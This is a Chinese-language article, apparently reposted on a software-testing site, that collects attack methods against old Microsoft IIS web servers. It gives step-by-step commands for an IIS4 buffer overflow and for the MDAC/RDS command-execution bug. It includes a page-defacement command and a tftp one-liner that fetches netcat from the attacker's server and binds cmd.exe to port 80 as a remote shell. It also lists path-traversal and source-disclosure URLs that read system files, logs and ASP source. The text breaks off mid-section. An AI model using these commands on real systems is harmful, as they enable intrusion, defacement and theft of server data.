• 软件测试技术
  • 软件测试博客
  • 软件测试视频
  • 开源软件测试技术
  • 软件测试论坛
  • 软件测试沙龙
  • 软件测试资料下载
  • 软件测试杂志
  • 软件测试人才招聘
    暂时没有公告

字号: | 推荐给好友 上一篇 | 下一篇

有关IIS HACK的一些方法整理

发布: 2007-6-21 12:06 | 作者:   | 来源:   | 查看: 15次 | 进入软件测试论坛讨论

领测软件测试网

   
  这里整理了一些关于IIS HACK的一些漏洞,供大家参考。
  
  1,介绍
  

  由于这些方法针对通过端口80来操作,所以具有一定的威胁性,因为作为WEB你这个口总要开的。如果你想一边抽烟一边查漏洞,OK,你下载一些CGI扫描器来帮助你检查,你可以尝试使用这两个:
  
  "whisker" by "rain forest puppy" (www.wiretrip.net/rfp).
  "cis" by "mnemonix" (www.cerberus-infosec.co.uk)
  
  另外你如果要知道目标机器运行的是啥类型的服务程序,你可以使用下面的命令:
  telnet 80
  GET HEAD / HTTP/1.0
  
  就可以返回一些名字和WEB服务程序版本,如果有些服务器把WEB运行在8080,81,8000,8001口,你就TELNET相应的口上。如果你要知道运行了SSL的WEB服务程序,在WEB服务器和浏览器进行了连接的的话,我们就可以使用工具"ssleay":
  
   s_client -connect :443
   HEAD / HTTP /1.0
  
  ======================================================================
  
  2,一些常用方法:
  
  ========IIS HACK==========
  www.eeye.com的人员发现了一个IIS4.0的缓冲溢出可以允许用户上载程序,如netcat到目标服务器,并把cmd.exe绑定到80口。这个缓冲溢出主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序在系统中下载和执行程序。
  要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面的站点www.technotronic.com去下载,另外你还需要一台自己的WEB服务器,当然你可以是虚拟服务器哦。
  
  你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器:
   c:\>iishack.exe 80 /ncx.exe
  然后你就使用netcat来连接你要检测的服务器:
   c:\>nc 80
  如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。
  
  
  =========MDAC- 本地命令执行===========
  
  你可能认为这个漏洞太老了,可网络如此之大,可能还有好多IIS WEB服务器存在这个漏洞啦。IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行你系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下,它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,其一般默认情况下是SYSTEM用户。关于这个漏洞的描述,很多文章介绍的很清楚,这里不做详细解释,你如果要对自己的站点进行检查是否存在这个漏洞,你可以通过下面的操作:
  
  c:\>nc -nw -w 2 80
  GET /msadc/msadcs.dll HTTP
  
  如果你得到下面的信息:
  
  application/x_varg
  
  就很有可能没有打上补丁并存在此漏洞,你可以使用rain forest puppy站上的两个程序进行测试(www.wiretrip.net/rfp)==>mdac.pl和msadc2.pl 。
  
  c:\> mdac.pl -h
  Please type the NT commandline you want to run (cmd /c assumed):\n
  cmd /c
  
  OK,如果你要替换对方的主页,你就可以使用下面的方法:
  
  cmd/c echo hacked by me > d:\inetpub\wwwroot\victimweb\index.htm
  
  或者其他命令,当然最好的方法我觉得还是使用上载我们的netcat,并把CMD.EXE绑定到端口80上,我们可以设置我们自己的TFTP服务程序并把nc.exe放上去,然后在执行命令,如:
  
  cmd/c cd %systemroot%&&tftp -i GET nc.exe&&del ftptmp
  && attrib -r nc.exe&&nc.exe -l -p 80 -t -e cmd.exe
  
  然后你就连接到80口,得到一个SHELL口让你浏览。呵呵!
  
  
  =========Codebrws.asp & Showcode.asp ==================
  
  Codebrws.asp和Showcode.asp在IIS4.0中是附带的看文件的程序,但不是默认安装的,这个查看器是如果管理员允许查看样例文件作为联系而安装的,但是,这个查看器没有很好的限制所访问的文件,远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容,但要注意以下几点:
  1,Codebrws.asp 和 Showcode.asp默认情况下没有安装。
  2,漏洞仅允许查看文件内容。
  3,这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制。
  4,只有同一分区下的文件可以被查看(所以把IIS目录和WINNT分区安装是个不错的注意,也可能比较好的防止最新的IIS5.0的unicode漏洞).
  5,攻击者需要知道请求的文件名。
  
  例如你发现存在这个文件并符合上面的要求,你可以请求如下的命令:
  
  http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/
  iisamples/exair/howitworks/codebrws.asp
  
  你就可以查看到codebrws.asp的源代码了。
  你也可以使用showcode.asp来查看文件:
  
  http://www.victim.com/msadc/samples/selector/showcode.asp?
  source=/msadc/../../../../../winnt/win.ini
  
  当然我想也可以查看一些FTP信息来获得其他的目标器管理员经常使用的机器,或许他其他的机器的安全性比WEB差呢;).如:
  
  http://xxx.xxx.xxx.xxx/msadc/Samples/SELECTOR/showcode.asp?
  source=/msadc/Samples/../../../../../winnt/system32/logfiles/-
  -MSFTPSVC1/ex000517.log
  =========Null.htw===============
  IIS如果运行了Index Server的话就包含了一个通过Null.htw有关的漏洞,就是服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码,包伙global.asa里面包含了用户名和密码等敏感信息。工具者如果提供特殊的URL请求给IIS就可以跳出虚拟目录的限制,提供逻辑分区和ROOT目录的访问。这个"hit-highlighting"功能在Index Server中没有充分防止各种类型文件的请求,所以导致攻击者访问服务器上的任意文件。Null.htw功能可以从用户输入中获得3个变量:
  CiWebhitsfile
  CiRestriction
  CiHiliteType
  
  你可以使用下面的方法传递变量来获得如default.asp的源代码:
  
  http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&%20
  CiRestriction=none%20&%20&CiHiliteType=full
  其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。
  ========webhits.dll & .htw================
  
  这个hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)他们原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:
  
  http://www.victim.com/nosuchfile.htw
  如果你从服务器端获得如下信息:
  
  format of the QUERY_STRING is invalid
  这就表示你存在这个漏洞。
  
  这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序:
  
  /iissamples/issamples/oop/qfullhit.htw
  /iissamples/issamples/oop/qsumrhit.htw
  /isssamples/exair/search/qfullhit.htw
  /isssamples/exair/search/qsumrhit.htw
  /isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)
  
  一个攻击者可以使用如下的方法来访问系统中文件的内容:
  http://www.victim.com/iissamples/issamples/oop/qfullhit.htw?
  ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full
  就会在有此漏洞系统中win.ini文件的内容。
  
  ===ASP Alternate Data Streams(::$DATA)==================
  $DATA这个漏洞是在1998年中期公布的,$DATA是在NTFS文件系统中存储在文件里面的main data stream属性,通过建立一个特殊格式的URL,就可能使用IIS在浏览器中访问这个data stream(数据流),这样做也就显示了文件代码中这些data stream(数据流)和任何文件所包含的数据代码。其中这个漏洞需要下面的几个限制,一个是要显示的这个文件需要保存在NTFS文件分区(幸好为了"安全"好多服务器设置了NTFS格式),第二是文件需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字,WIN NT中的IIS1.0, 2.0, 3.0和4.0都存在此问题。微软提供了一个FOR IIS3.0和4.0的版本补丁,你可以通过这文章来修补这个漏洞:
  "supporting NTFS alternate data streams by asking Windows NT to make the file name canonical"
  
  要查看一些.asp文件的内容,你可以请求如下的URL:
  
  http://www.victim.com/default.asp::$DATA你就得到了源代码。你要了解下NTFS文件系统中的数据流问题,你或许可以看看这文章:
  http://focus.silversand.net/newsite/skill/ntfs.txt
  
  =========ASP Dot Bug====================
  
  这个漏洞是比较早的漏洞了,是Lopht小组在1997年发现的缺陷

文章来源于领测软件测试网 https://www.ltesting.net/


关于领测软件测试网 | 领测软件测试网合作伙伴 | 广告服务 | 投稿指南 | 联系我们 | 网站地图 | 友情链接
版权所有(C) 2003-2010 TestAge(领测软件测试网)|领测国际科技(北京)有限公司|软件测试工程师培训网 All Rights Reserved
北京市海淀区中关村南大街9号北京理工科技大厦1402室 京ICP备10010545号-5
技术支持和业务联系:info@testage.com.cn 电话:010-51297073

软件测试 | 领测国际ISTQBISTQB官网TMMiTMMi认证国际软件测试工程师认证领测软件测试网